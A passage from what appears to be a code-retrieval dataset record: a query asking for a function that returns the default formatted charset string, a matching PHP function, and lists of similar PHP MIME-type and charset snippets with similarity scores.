$mimes['svg'] = 'image/svg+xml';\n return $mimes;\n}", "function cc_mime_types($mimes) {\n $mimes['svg'] = 'image/svg+xml';\n return $mimes;\n}", "function cc_mime_types($mimes) {\n $mimes['svg'] = 'image/svg+xml';\n return $mimes;\n}", "function cc_mime_types($mimes) {\n $mimes['svg'] = 'image/svg+xml';\n return $mimes;\n}", "function cc_mime_types($mimes) {\n $mimes['svg'] = 'image/svg+xml';\n return $mimes;\n}", "function cc_mime_types($mimes) {\n $mimes['svg'] = 'image/svg+xml';\n return $mimes;\n}", "function cc_mime_types($mimes) {\n $mimes['svg'] = 'image/svg+xml';\n return $mimes;\n}", "function cc_mime_types( $mimes ){\n\t$mimes['svg'] = 'image/svg+xml';\n\treturn $mimes;\n}", "function my_custom_mime_types( $mimes ) {\n\t$mimes['svg'] = 'image/svg+xml';\n\t$mimes['svgz'] = 'image/svg+xml';\n\t$mimes['doc'] = 'application/msword';\n\t \n\t// Optional. Remove a mime type.\n\tunset( $mimes['exe'] );\n\t \n\treturn $mimes;\n\t}", "function hankart_cc_mime_types($mimes) {\n $mimes['svg'] = 'image/svg+xml';\n return $mimes;\n }", "function get_allowed_mime_types($user = \\null)\n {\n }", "static function getValidContentTypes() {\n return array(\n 'image/',\n 'text/',\n 'application/pdf',\n );\n }", "public function get_allowed_content_object_types()\n {\n return array(File::class);\n }", "public static function mimes_by_ext($extension)\r\n {\r\n $mimes = Core::config('mimes');\r\n\r\n return isset($mimes[$extension])?((array)$mimes[$extension]):array();\r\n }", "public function getExtensionAllowed()\n {\n return array_merge($this->imageTypes, $this->videoTypes, $this->documentTypes);\n }", "private function get_type_options() {\n\t\tglobal $wpdb, $updraftcentral_host_plugin;\n\t\t$options = array();\n\n\t\tif (!function_exists('get_post_mime_types')) {\n\t\t\tglobal $updraftplus;\n\t\t\t// For a much later version of WP the \"get_post_mime_types\" is located\n\t\t\t// in a different folder. So, we make sure that we have it loaded before\n\t\t\t// actually using it.\n\t\t\tif (version_compare($updraftplus->get_wordpress_version(), '3.5', '>=')) {\n\t\t\t\trequire_once(ABSPATH.WPINC.'/post.php');\n\t\t\t} else {\n\t\t\t\t// For WP 3.4, the \"get_post_mime_types\" is located in the location provided below.\n\t\t\t\trequire_once(ABSPATH.'wp-admin/includes/post.php');\n\t\t\t}\n\t\t}\n\n\t\t$post_mime_types = get_post_mime_types();\n\t\t$type_options = $wpdb->get_col(\"SELECT `post_mime_type` FROM {$wpdb->posts} WHERE `post_type` = 'attachment' AND `post_status` = 'inherit' GROUP BY `post_mime_type` ORDER BY `post_mime_type` DESC\");\n\n\t\tforeach ($post_mime_types as $mime_type => $label) {\n\t\t\tif (!wp_match_mime_types($mime_type, $type_options)) continue;\n\t\t\t$options[] = array('label' => $label[0], 'value' => esc_attr($mime_type));\n\t\t}\n\n\t\t$options[] = array('label' => $updraftcentral_host_plugin->retrieve_show_message('unattached'), 'value' => 'detached');\n\t\treturn $options;\n\t}", "public function getVideoMimeTypes()\n {\n return array(\n 'video/mp4v-es',\n 'audio/mp4',\n 'video/mp4',\n 'video/x-m4v',\n 'video/quicktime',\n 'video/x-quicktime',\n 'image/mov',\n 'audio/aiff',\n 'audio/x-midi',\n 'audio/x-wav',\n 'video/avi',\n 'video/x-ms-wmv',\n 'video/avi',\n 'video/msvideo',\n 'video/x-msvideo',\n 'image/avi',\n 'video/xmpg2',\n 'application/x-troff-msvideo',\n 'audio/aiff',\n 'audio/avi',\n 'video/avi',\n 'video/mpeg',\n 'video/mpg',\n 'video/x-mpg',\n 'video/mpeg2',\n 'application/x-pn-mpg',\n 'video/x-mpeg',\n 'video/x-mpeg2a',\n 'audio/mpeg',\n 'audio/x-mpeg',\n 'image/mpg',\n 'video/ogg',\n 'audio/3gpp',\n 'video/3gpp',\n 'video/3gpp2',\n 'audio/3gpp2',\n 'video/x-flv',\n 'video/webm',\n );\n }", "protected function getMimeContentType($filename)\r\n {\r\n $mime_types = array(\r\n\r\n 'txt' => 'text/plain',\r\n 'htm' => 'text/html',\r\n 'html' => 'text/html',\r\n 'php' => 'text/html',\r\n 'css' => 'text/css',\r\n 'js' => 'application/javascript',\r\n 'json' => 'application/json',\r\n 'xml' => 'application/xml',\r\n 'swf' => 'application/x-shockwave-flash',\r\n 'flv' => 'video/x-flv',\r\n\r\n // images\r\n 'png' => 'image/png',\r\n 'jpe' => 'image/jpeg',\r\n 'jpeg' => 'image/jpeg',\r\n 'jpg' => 'image/jpeg',\r\n 'gif' => 'image/gif',\r\n 'bmp' => 'image/bmp',\r\n 'ico' => 'image/vnd.microsoft.icon',\r\n 'tiff' => 'image/tiff',\r\n 'tif' => 'image/tiff',\r\n 'svg' => 'image/svg+xml',\r\n 'svgz' => 'image/svg+xml',\r\n\r\n // archives\r\n 'zip' => 'application/zip',\r\n 'rar' => 'application/x-rar-compressed',\r\n 'exe' => 'application/x-msdownload',\r\n 'msi' => 'application/x-msdownload',\r\n 'cab' => 'application/vnd.ms-cab-compressed',\r\n\r\n // audio/video\r\n 'mp3' => 'audio/mpeg',\r\n 'qt' => 'video/quicktime',\r\n 'mov' => 'video/quicktime',\r\n\r\n // adobe\r\n 'pdf' => 'application/pdf',\r\n 'psd' => 'image/vnd.adobe.photoshop',\r\n 'ai' => 'application/postscript',\r\n 'eps' => 'application/postscript',\r\n 'ps' => 'application/postscript',\r\n\r\n // ms office\r\n 'doc' => 'application/msword',\r\n 'rtf' => 'application/rtf',\r\n 'xls' => 'application/vnd.ms-excel',\r\n 'ppt' => 'application/vnd.ms-powerpoint',\r\n\r\n // open office\r\n 'odt' => 'application/vnd.oasis.opendocument.text',\r\n 'ods' => 'application/vnd.oasis.opendocument.spreadsheet',\r\n );\r\n\r\n $ext = strtolower(array_pop(explode('.',$filename)));\r\n if (array_key_exists($ext, $mime_types)) {\r\n return $mime_types[$ext];\r\n } elseif (function_exists('finfo_open')) {\r\n $finfo = finfo_open(FILEINFO_MIME);\r\n $mimeType = finfo_file($finfo, $filename);\r\n finfo_close($finfo);\r\n return $mimeType;\r\n } else {\r\n return 'application/octet-stream';\r\n }\r\n }", "protected function getAllAvailableMediaTypesOptions() {}", "function custom_mimes( $mimes ) {\n\t$mimes['svg'] = 'image/svg+xml';\n\t$mimes['json'] = 'application/json';\n\n\treturn $mimes;\n}", "function get_image_file_types() {\n return array( \n 'gif',\n 'jpg',\n 'jpeg',\n 'png',\n 'wbmp',\n );\n }", "public function getMimeTypeToExtensionMap()\n {\n return $this->mimeTypeToExtension;\n }", "public function getExtensionToMimeTypeMap()\n {\n return $this->extensionToMimeType;\n }", "public function getFileTypeRestrictions(): array\n {\n return $this->supportedFileTypes;\n }", "function nylon_mime_types($mimes) {\n $mimes['svg'] = 'image/svg+xml';\n return $mimes;\n }", "public static function getAvailableContentTypes()\n {\n return array(\n self::TYPE_TEXT_HTML => self::TYPE_TEXT_HTML,\n self::TYPE_TEXT_CSS => self::TYPE_TEXT_CSS,\n self::TYPE_TEXT_JAVASCRIPT => self::TYPE_TEXT_JAVASCRIPT\n );\n }", "public static function upload_mimes( $mime_types = array() ) {\r\n\t\tif ( ! isset( $mime_types['tar.bz2'] ) ) {\r\n\t\t\t$mime_types['tar.bz2'] = 'application/x-tar';\r\n\t\t}\r\n\r\n\t\treturn $mime_types;\r\n\t}", "protected function _getAllowedExtensions()\n {\n return ['jpg', 'jpeg', 'gif', 'png', 'svg'];\n }", "function net_liggitt_add_mime_types($mimes) {\n $mimes = array_merge($mimes, array(\n 'epub|mobi' => 'application/octet-stream'\n ));\n return $mimes;\n}", "private function get_mime_type($fn) {\r\n \r\n $mime_types = array(\r\n \r\n 'txt' => 'text/plain',\r\n 'htm' => 'text/html',\r\n 'html' => 'text/html',\r\n 'php' => 'text/html',\r\n 'css' => 'text/css',\r\n 'js' => 'application/javascript',\r\n 'json' => 'application/json',\r\n 'xml' => 'application/xml',\r\n 'swf' => 'application/x-shockwave-flash',\r\n 'flv' => 'video/x-flv',\r\n \r\n // images\r\n 'png' => 'image/png',\r\n 'jpe' => 'image/jpeg',\r\n 'jpeg' => 'image/jpeg',\r\n 'jpg' => 'image/jpeg',\r\n 'gif' => 'image/gif',\r\n 'bmp' => 'image/bmp',\r\n 'ico' => 'image/vnd.microsoft.icon',\r\n 'tiff' => 'image/tiff',\r\n 'tif' => 'image/tiff',\r\n 'svg' => 'image/svg+xml',\r\n 'svgz' => 'image/svg+xml',\r\n \r\n // archives\r\n 'zip' => 'application/zip',\r\n 'rar' => 'application/x-rar-compressed',\r\n 'exe' => 'application/x-msdownload',\r\n 'msi' => 'application/x-msdownload',\r\n 'cab' => 'application/vnd.ms-cab-compressed',\r\n \r\n // audio/video\r\n 'mp3' => 'audio/mpeg',\r\n 'qt' => 'video/quicktime',\r\n 'mov' => 'video/quicktime',\r\n \r\n // adobe\r\n 'pdf' => 'application/pdf',\r\n 'psd' => 'image/vnd.adobe.photoshop',\r\n 'ai' => 'application/postscript',\r\n 'eps' => 'application/postscript',\r\n 'ps' => 'application/postscript',\r\n \r\n // ms office\r\n 'doc' => 'application/msword',\r\n 'rtf' => 'application/rtf',\r\n 'xls' => 'application/vnd.ms-excel',\r\n 'ppt' => 'application/vnd.ms-powerpoint',\r\n \r\n // open office\r\n 'odt' => 'application/vnd.oasis.opendocument.text',\r\n 'ods' => 'application/vnd.oasis.opendocument.spreadsheet',\r\n );\r\n \r\n $ext = strtolower(array_pop(explode('.',$fn)));\r\n if (array_key_exists($ext, $mime_types)) {\r\n return $mime_types[$ext];\r\n }\r\n elseif (function_exists('finfo_open')) {\r\n $finfo = finfo_open(FILEINFO_MIME);\r\n $mimetype = finfo_file($finfo, $fn);\r\n finfo_close($finfo);\r\n return $mimetype;\r\n }\r\n else {\r\n return 'application/octet-stream';\r\n }\r\n }", "public function getAllowedUploadMimes($existing = array())\n {\n // we get mime types and saved file types\n $return = array();\n $pluginFileTypes = $this->getMimeTypes();\n if(is_array($this->settings))\n foreach($this->settings as $key ){\n // list thru them and if it's allowed and not in list, we added there,\n // in reality, I'm thinking about removing the wp ones, and all mines,\n // since wordpress mime types are very limited, we can do better guys\n // cuase it sucks, and doesn't have enough mime types, actually let's\n // just do it ...\n if(array_key_exists($key, $pluginFileTypes)){\n $keyCheck = strtolower($key);\n // here we would have checked, if mime type is already there,\n // but we want strong list of mime types, so we just add it all.\n if(is_array($pluginFileTypes[$key])){\n foreach($pluginFileTypes[$key] as $fileType){\n $keyHacked = preg_replace(\"/[^0-9a-zA-Z ]/\", \"\", $fileType);\n $return[$keyCheck . '|' . $keyCheck . '_' . $keyHacked] = $fileType;\n }\n } else {\n $return[$keyCheck] = $pluginFileTypes[$key];\n }\n }\n }\n return array_merge($return, $existing);\n }", "function floox_mime_types( $mimes ){\n $mimes['svg'] = 'image/svg+xml';\n $mimes['svgz'] = 'image/svg+xml';\n return $mimes;\n}", "public static function getContentTypes()\n {\n return self::$_contentTypes;\n }", "public static function supportedFormats()\n {\n return [\n 'avif' => 'image/avif',\n 'gif' => 'image/gif',\n 'jpg' => 'image/jpeg',\n 'pjpg' => 'image/jpeg',\n 'png' => 'image/png',\n 'webp' => 'image/webp',\n 'tiff' => 'image/tiff',\n ];\n }", "public function getAcceptableContentTypes()\n {\n if ($this->_contentTypes === null) {\n if (isset($_SERVER['HTTP_ACCEPT'])) {\n $this->_contentTypes = $this->parseAcceptHeader($_SERVER['HTTP_ACCEPT']);\n } else {\n $this->_contentTypes = [];\n }\n }\n\n return $this->_contentTypes;\n }", "public function get_allowed_image_extensions()\r\n\t{\r\n\t\t$content_types = $this->upload_config['content_types'];\r\n\r\n\t\t$allowed_image_extensions = array();\r\n\t\tforeach($content_types as $extension => $content_type)\r\n\t\t{\r\n\t\t\tif(substr($content_type, 0, 5) == 'image')\r\n\t\t\t{\r\n\t\t\t\t$allowed_image_extensions[] = $extension;\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\treturn $allowed_image_extensions;\r\n\t}", "function fn_get_ext_mime_types($key = 'ext')\n{\n $types = array (\n 'zip' => 'application/zip',\n 'tgz' => 'application/tgz',\n 'rar' => 'application/rar',\n\n 'exe' => 'application/exe',\n 'com' => 'application/com',\n 'bat' => 'application/bat',\n\n 'png' => 'image/png',\n 'jpeg' => 'image/jpeg',\n 'jpg' => 'image/jpeg',\n 'gif' => 'image/gif',\n 'bmp' => 'image/bmp',\n 'ico' => 'image/x-icon',\n 'swf' => 'application/x-shockwave-flash',\n\n 'csv' => 'text/csv',\n 'txt' => 'text/plain',\n 'xml' => 'application/xml',\n 'doc' => 'application/msword',\n 'xls' => 'application/vnd.ms-excel',\n 'ppt' => 'application/vnd.ms-powerpoint',\n 'pdf' => 'application/pdf',\n\n 'css' => 'text/css',\n 'js' => 'text/javascript'\n );\n\n if ($key == 'mime') {\n $types = array_flip($types);\n }\n\n return $types;\n}", "function getMediaTypes ()\n {\n try\n {\n $result = $this->apiCall('get',\"{$this->api['syndication_url']}/resources/mediaTypes.json\");\n return $this->createResponse($result,'get All MediaTypes');\n } catch ( Exception $e ) {\n return $this->createResponse($e,'API Call');\n }\n }", "public function getSupportedFileExtensions()\n {\n return array_keys($GLOBALS['TYPO3_CONF_VARS']['SYS']['fal']['onlineMediaHelpers']);\n }", "public function more_mimes( $mimes ) {\n\t\t$mimes['eot'] = 'font/eot';\n\t\t$mimes['woff'] = 'font/woff';\n\t\t$mimes['ttf'] = 'font/truetype';\n\t\t$mimes['svg'] = 'font/svg';\n\t\treturn $mimes;\n\t}", "private function loadMediaTypes()\n {\n return json_decode(file_get_contents(__DIR__ . '/mediatypes.json'), true);\n }" ]
[ "0.8294866", "0.82882845", "0.8181627", "0.807407", "0.7963864", "0.79494417", "0.7847374", "0.78200144", "0.77975315", "0.7652592", "0.7638057", "0.76056087", "0.7526512", "0.75212085", "0.7460236", "0.743895", "0.7347182", "0.7296489", "0.7280664", "0.7184006", "0.7124255", "0.71070135", "0.70799786", "0.7072943", "0.7003612", "0.6959172", "0.68845695", "0.688114", "0.68523616", "0.6850086", "0.6791905", "0.67550254", "0.6752928", "0.67426527", "0.6723298", "0.67166567", "0.6681699", "0.66620636", "0.66315764", "0.66237396", "0.6623737", "0.6618932", "0.6618363", "0.6609276", "0.6604673", "0.65964323", "0.659542", "0.65878695", "0.65878695", "0.65878695", "0.6568991", "0.65671605", "0.65571636", "0.6536515", "0.6535075", "0.6526579", "0.6526579", "0.6526579", "0.6526579", "0.6526579", "0.6526579", "0.6526579", "0.6526579", "0.6526579", "0.6526579", "0.6526579", "0.65202713", "0.6514121", "0.6492812", "0.64854914", "0.64847696", "0.6480594", "0.64792514", "0.6465458", "0.6447858", "0.64151216", "0.64094615", "0.6384787", "0.6383369", "0.63682675", "0.6337124", "0.6325219", "0.6307309", "0.63028485", "0.6297059", "0.62941134", "0.62917286", "0.6290456", "0.6280626", "0.6270384", "0.6255251", "0.62319416", "0.6229775", "0.62242687", "0.62070566", "0.61969984", "0.61954856", "0.6155379", "0.6150767", "0.6148752" ]
0.84952116
0
Returns the default formatted charset string.
public static function getDefaultCharset() { if (MHTTPD::$charset !== null) { return MHTTPD::$charset; } $charset = ini_get('default_charset'); if ($charset != '') {$charset = "; charset={$charset}";} MHTTPD::$charset = $charset; return $charset; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function get_formatted_charset(): string\n\t{\n\t\t$charset = $this->charset;\n\n\t\tif (!$charset)\n\t\t{\n\t\t\treturn '';\n\t\t}\n\n\t\tlist($charset, $collate) = explode('/', $charset) + [ 1 => null ];\n\n\t\treturn \"CHARSET $charset\" . ($collate ? \" COLLATE {$charset}_{$collate}\" : '');\n\t}", "function atkGetCharset()\n{\n\treturn atkconfig('default_charset',atktext('charset','atk'));\n}", "protected function get_formatted_default(): string\n\t{\n\t\t$default = $this->default;\n\n\t\tif (!$default)\n\t\t{\n\t\t\treturn '';\n\t\t}\n\n\t\tswitch ($default)\n\t\t{\n\t\t\tcase 'CURRENT_TIMESTAMP':\n\n\t\t\t\treturn \"DEFAULT $default\";\n\n\t\t\tdefault:\n\n\t\t\t\treturn \"DEFAULT '$default'\";\n\t\t}\n\t}", "public function getDefaultStringFormat()\n {\n if (null !== $this->defaultStringFormat) {\n return $this->defaultStringFormat;\n }\n\n return $this->database->getDefaultStringFormat();\n }", "public static function getDefaultFormat(): string\n {\n return static::$default_format;\n }", "public function getCharset(): string\n {\n $charsetCollate = '';\n\n $mySlqVersion = $this->getVariable('SELECT VERSION() as mysql_version');\n\n if (version_compare($mySlqVersion, '4.1.0', '>=')) {\n if (!empty($this->wpDatabase->charset)) {\n $charsetCollate = \"DEFAULT CHARACTER SET {$this->wpDatabase->charset}\";\n }\n\n if (!empty($this->wpDatabase->collate)) {\n $charsetCollate .= \" COLLATE {$this->wpDatabase->collate}\";\n }\n }\n\n return $charsetCollate;\n }", "public function getDefaultChar() {}", "public static function determine_charset() {\n global $wpdb;\n $charset = '';\n\n if (!empty($wpdb->charset)) {\n $charset = \"DEFAULT CHARACTER SET {$wpdb->charset}\";\n\n if (!empty($wpdb->collate)) {\n $charset .= \" COLLATE {$wpdb->collate}\";\n }\n }\n return $charset;\n }", "public function getCharset(): string\n {\n return $this->charset;\n }", "public function getCharset(): string\n {\n return $this->charset;\n }", "static public function getCharsetString($cs)\n {\n /**\n * From http://www.iana.org/assignments/character-sets\n */\n $charsetString = array(3 => 'US-ASCII',\n 4 => 'ISO-8859-1',\n 106 => 'UTF-8',\n 1013 => 'UTF-16BE',\n 1014 => 'UTF-16LE',\n 1015 => 'UTF-16');\n\n return isset($charsetString[$cs]) ? $charsetString[$cs] : null;\n }", "public static function getCurrentCharset() {}", "public function getDefaultStringFormatter(): DefaultStringFormatter;", "function getCharset(): ?string;", "public function getCharset()\n {\n $charset = Config::get('view.charset');\n return ($charset !== null) ? $charset : $this->charset;\n }", "public function get_charset_collate()\n {\n }", "public function charset()\n\t{\n\t\treturn Kohana::$charset;\n\t}", "public function getCharset()\n {\n return $this->options['charset'];\n }", "public static function getDefaultFormat()\n {\n return self::$defaultFormat;\n }", "public function getCharset(): string {\n\t\treturn $this->charset;\n\t}", "public static function default(): string\n {\n $default = Cache::get('locale_default');\n\n if ($default === null) {\n $default = static::select('locale')->where('is_default', '=', true)->first();\n $default = ! empty($default) ? $default->locale : config('contentful.default_locale');\n\n // Cache is cleaned in Console\\Commands\\SyncLocales (run at least daily)\n Cache::forever('locale_default', $default);\n }\n\n return $default;\n }", "public function getDefaultCharacterSet()\n {\n $characterSet = $this->config->get('database.preferred_character_set');\n $characterSet = $this->normalizeCharacterSet($characterSet);\n\n return $characterSet;\n }", "public function getCharset();", "public function getCharset();", "public function defaultFormat()\n\t{\n\t\treturn $this->format();\n\t}", "public function getCharSet() {}", "public function getCharset(): ?string;", "public function getCharset()\n {\n return $this->_db->getOption('charset');\n }", "function getDefaultCollationForCharset($charset) {\n $row = DB::executeFirstRow(\"SHOW CHARACTER SET LIKE ?\", array($charset));\n \n if($row && isset($row['Default collation'])) {\n return $row['Default collation'];\n } else {\n throw new InvalidParamError('charset', $charset, \"Unknown MySQL charset '$charset'\");\n } // if\n }", "public function getMessageEncoding() {\n\t\treturn $this->messageEncoding ?: static::config()->default_message_encoding;\n\t}", "public function getDefaultCollation()\n {\n $collation = $this->config->get('database.preferred_collation');\n $collation = $this->normalizeCollation($collation);\n\n return $collation;\n }", "public function get_charset()\n {\n return $this->charset;\n }", "public function getDefault(): string\n {\n return $this->default;\n }", "public function getDefault(): string\n {\n return $this->default;\n }", "public function getContentTypeCharset(): string\n {\n $charset = strtoupper($this->charset);\n if (array_key_exists($charset, $this->contentTypeCharset)) {\n return strtoupper($this->contentTypeCharset[$charset]);\n }\n\n return strtoupper($this->charset);\n }", "protected function getCharsetConversion() {}", "public static function defaultCountry(): string\n {\n $default = Cache::get('country_default');\n\n if ($default === null) {\n $default = static::select('country')->where('is_default', '=', true)->first();\n $default = ! empty($default) ? $default->country : config('contentful.default_country');\n\n // Cache is cleaned in Console\\Commands\\SyncLocales (run at least daily)\n Cache::forever('country_default', $default);\n }\n\n return $default;\n }", "public abstract function getCharset();", "function getCharset($input)\n {\n $cs = XML_WBXML::MBUInt32ToInt($input, $this->_strpos);\n return XML_WBXML::getCharsetString($cs);\n }", "public function getDefaultVal(): string\n {\n return $this->defaultText;\n }", "protected static function resolveDefaultEncoding() {}", "public function getCharset(): ?string\n\t{\n\t\treturn $this->charset;\n\t}", "public static function getLocaleEncoding()\n\t{\n\t\t/* Extracts codeset part from current LC_CTYPE locale:\n\t\t *\n\t\t * language[_territory][.codeset][@modifiers]\n\t\t *\n\t\t * where:\n\t\t *\n\t\t * language is the ISO639 code;\n\t\t * territory is the ISO3166 country code;\n\t\t * codeset is the encoding ID, like \"ISO-8859-1\" or\n\t\t * code page number under Windows;\n\t\t * modifiers are the format modifiers.\n\t\t */\n\t\t$ctype = setlocale(LC_CTYPE, 0 );\n\t\tif( $ctype === FALSE )\n\t\t\t# No locale set.\n\t\t\treturn NULL;\n\t\t\t\n\t\t$dot = strpos($ctype, \".\");\n\t\tif( $dot === FALSE )\n\t\t\t# No codeset part in locale.\n\t\t\treturn NULL;\n\t\t\n\t\t$codeset = substr($ctype, $dot + 1);\n\t\t# Remove optional modifies after \"@\":\n\t\t$at = strpos($codeset, \"@\");\n\t\tif( $at !== FALSE )\n\t\t\t$codeset = substr($codeset, 0, $at);\n\t\tif ( 'WIN' === substr( PHP_OS, 0, 3 ) ){\n\t\t\t// Windows - translate codeset no. to encoding:\n\t\t\tif( in_array($codeset, array(\"1251\", \"1252\", \"1254\"), true) ){\n\t\t\t\t// The MB extension names these \"Windows-*\".\n\t\t\t\t$encoding = \"Windows-$codeset\";\n\t\t\t} else if( in_array($codeset, array(\"932\", \"936\",\n\t\t\t\t\"950\", \"50220\", \"50221\", \"50222\", \"51932\", \"850\", \"866\"), true) ){\n\t\t\t\t// The MB extension names these \"CP*\".\n\t\t\t\t$encoding = \"CP$codeset\";\n\t\t\t} else {\n\t\t\t\t$encoding = \"CP$codeset\"; // just an attempt\n\t\t\t}\n\t\t} else {\n\t\t\t// Unix/Linux/MacOSX\n\t\t\t$encoding = $codeset;\n\t\t}\n\t\treturn $encoding;\n\t}", "private static function getCharsetDefaultCollation($charset)\n {\n $collations = self::getCharsetCollations($charset);\n if (null !== $collations) {\n return $collations[0];\n }\n return null;\n }", "public function getCharset()\n {\n return $this->charset;\n }", "public function getCharset()\n {\n return $this->charset;\n }", "public function getCharset()\n {\n return $this->charset;\n }", "public function getCharset()\n {\n return $this->charset;\n }", "public function getCharset()\n {\n return $this->charset;\n }", "public function getCharset()\n {\n return $this->charset;\n }", "public function getCharset()\n {\n return $this->charset;\n }", "public function getCharset()\n {\n return $this->charset;\n }", "Public Function getCharset() { Return $this->charset; }", "public function get_charset(){\n return $this->_charset;\n }", "public function charset($encoding = null) {\n\treturn $this->_render('charset', array('encoding'=>'UTF-8'));\n }", "public function getDefaultLocale();", "private function getCharacterSet() {\n\t\tif (t3lib_utility_VersionNumber::convertVersionNumberToInteger(TYPO3_version) >= 4007000) {\n\t\t\treturn 'utf-8';\n\t\t}\n\n\t\treturn ($GLOBALS['TYPO3_CONF_VARS']['BE']['forceCharset'] != '') ?\n\t\t\t$GLOBALS['TYPO3_CONF_VARS']['BE']['forceCharset'] : 'utf-8';\n\t}", "public static function getDefaultFormat($fallback = 'json-pretty') {\n $e = getenv('CV_OUTPUT');\n return $e ? $e : $fallback;\n }", "public function hasDefaultCharSet() {\n return $this->_has(3);\n }", "private function defaults_text($defaultVal)\r\n\t{\r\n\t\treturn $defaultVal;\r\n\t}", "function getDefaultLocale();", "public function getCharset()\n\t{\n\t\treturn $this->charset;\n\t}", "public function getCharset()\n\t{\n\t\treturn $this->charset;\n\t}", "public static function getEncoding()\n {\n return static::$encoding ?: 'utf-8';\n }", "public function getPreferredFormat(?string $default = 'html'): ?string\n {\n// if (null !== $this->preferredFormat || null !== $this->preferredFormat = $this->getRequestFormat(null)) {\n// return $this->preferredFormat;\n// }\n\n// foreach ($this->getAcceptableContentTypes() as $mimeType) {\n// if ($this->preferredFormat = $this->getFormat($mimeType)) {\n// return $this->preferredFormat;\n// }\n// }\n\n return $default;\n }", "public static function getDefaultLocale()\n {\n return static::$defaultFormatSettings['locale'];\n }", "public function getCharset()\n\t{\n\t\treturn $this->_charset;\n\t}", "public function getRequestFormat($default = 'html')\n {\n if (null === $this->format) {\n $this->format = $this->get('_format', $default);\n }\n\n return $this->format;\n }", "public static function getLocale(): string\n {\n $locale = locale_get_default();\n\n return strtolower(substr($locale, 0, 2));\n }", "function getCharset ()\n\t{\n\t\treturn $this->doc->charset;\n\t}", "public function generateDefaultFormat($varValue, DataContainer $dc)\n {\n if (strlen($varValue) == 0)\n {\n $varValue = \"Contao %s\";\n \\Config::persist('monitoringScanClientWorkerUpdateContaoVersionFormat', $varValue);\n }\n return $varValue;\n }", "function negotiateCharset($supported, $default = 'ISO-8859-1')\n {\n $supp = array();\n foreach ($supported as $charset) {\n $supp[strtolower($charset)] = $charset;\n }\n\n if (!count($supp)) {\n return $default;\n }\n\n if (isset($_SERVER['HTTP_ACCEPT_CHARSET'])) {\n $match = HTTP::_matchAccept($_SERVER['HTTP_ACCEPT_CHARSET'],\n $supp);\n if (!is_null($match)) {\n return $match;\n }\n }\n\n return $default;\n }", "public function getDefaultValue($encoding = 'UTF-8') {}", "public function getDefaultValue($encoding = 'UTF-8') {}", "public function getDefaultValue($encoding = 'UTF-8') {}", "public function getDefaultValue($encoding = 'UTF-8') {}", "public function getDefaultValue($encoding = 'UTF-8') {}", "public function getDefaultValue($encoding = 'UTF-8') {}", "public function getDefaultValue($encoding = 'UTF-8') {}", "public function getEncoding()\r\n\t{\r\n\t\treturn $this->m_charset;\r\n\t}", "function default_locale()\n{\n return Config::getDefaultLocale();\n}", "public function getCharset()\n\t{\n\t\treturn $this->getContentTypeAttribute('charset');\n\t}", "public function getDefaultValue($encoding = 'UTF-8');", "public function getDefaultValueString()\n {\n $defaultValue = $this->getDefaultValue();\n if ($defaultValue !== null) {\n if ($this->isNumericType()) {\n $dflt = (float) $defaultValue->getValue();\n } elseif ($this->isTextType() || $this->getDefaultValue()->isExpression()) {\n $dflt = \"'\" . str_replace(\"'\", \"\\'\", $defaultValue->getValue()) . \"'\";\n } elseif ($this->getType() == PropelTypes::BOOLEAN) {\n $dflt = $this->booleanValue($defaultValue->getValue()) ? 'true' : 'false';\n } else {\n $dflt = \"'\" . $defaultValue->getValue() . \"'\";\n }\n } else {\n $dflt = \"null\";\n }\n\n return $dflt;\n }", "function _get_default_locale($locale)\r\n\t{\r\n\t\tif ($locale == '') // emulate variable support\r\n\t\t\treturn getenv('LANG');\r\n\t\telse\r\n\t\t\treturn $locale;\r\n\t}", "function getDefaultFormat() {\n return MYSQL_DATETIME_FORMAT;\n }", "function getCharset()\n {\n return $this->getAttribute(\"charset\");\n }", "public static function getDefaultEncodingFilter()\n {\n return Form::$defaultEncodingFilter;\n }", "function getDefaultAddressFormatCode(string $languageId = LANGUAGE_ID): string\n{\n\tswitch ($languageId)\n\t{\n\t\tcase 'kz':\n\t\t\t$result = 'RU_2';\n\t\t\tbreak;\n\n\t\tcase 'de':\n\t\t\t$result = 'EU';\n\t\t\tbreak;\n\n\t\tcase 'en':\n\t\t\t$result = 'US';\n\t\t\tbreak;\n\n\t\t//case 'ru':\n\t\t//case 'by':\n\t\t//case 'ua':\n\t\tdefault:\n\t\t\t$result = 'RU';\n\t}\n\n\treturn $result;\n}", "public function getContentCharset()\n {\n $mediaTypeParams = $this->getMediaTypeParams();\n if (isset($mediaTypeParams['charset'])) {\n return $mediaTypeParams['charset'];\n }\n\n return null;\n }", "function getEncoding(): string\n {\n return $this->getEncodingInfo()['encoding'];\n }", "public function getDefaultTSConfig()\n {\n return '';\n }", "protected static function encoding()\n {\n return static::$encoding;\n }", "protected static function display_default($defaultvalue) {\n if ($defaultvalue === null) {\n return '-';\n } else {\n return \"'\" . s($defaultvalue) . \"'\";\n }\n }", "public function getDefaultConnection(): string\n {\n return $this->default ?? '';\n }", "public static function getDefaultLanguageCode() {\n\t\t$oSprache = UnzerCw_VersionHelper::getInstance()->getDb()->executeQuery(\"SELECT kSprache, cISO FROM tsprache WHERE cShopStandard = 'Y'\", 1);\n\t\tif($oSprache->kSprache > 0) {\n\t\t\treturn UnzerCw_VersionHelper::getInstance()->convertISO2ISO639($oSprache->cISO);\n\t\t}\n\t\telse {\n\t\t\treturn 'de';\n\t\t}\n\t}", "public function init_charset()\n {\n }", "public function getOutputFormat()\n {\n $formated = $this->formatTxt(0);\n $number = $this->formatTxt(0, array('display' => Zend_Currency::NO_SYMBOL));\n return str_replace($number, '%s', $formated);\n }", "function detectCharset() {\r\n\t\t//print('ascii strlen: ');var_dump(mb_strlen($this->code, 'ascii'));\r\n\t\t//print('utf-8 strlen: ');var_dump(mb_strlen($this->code, 'utf-8'));\r\n\t\t//exit(0);\r\n\t\tif(mb_strlen($this->code, 'ascii') !== mb_strlen($this->code, 'utf-8')) {\r\n\t\t\treturn 'utf-8';\r\n\t\t} else {\r\n\t\t\t//return 'ascii';\r\n\t\t\treturn 'iso-8859-1';\r\n\t\t}\r\n\t}", "public function get_encoding()\n {\n }" ]
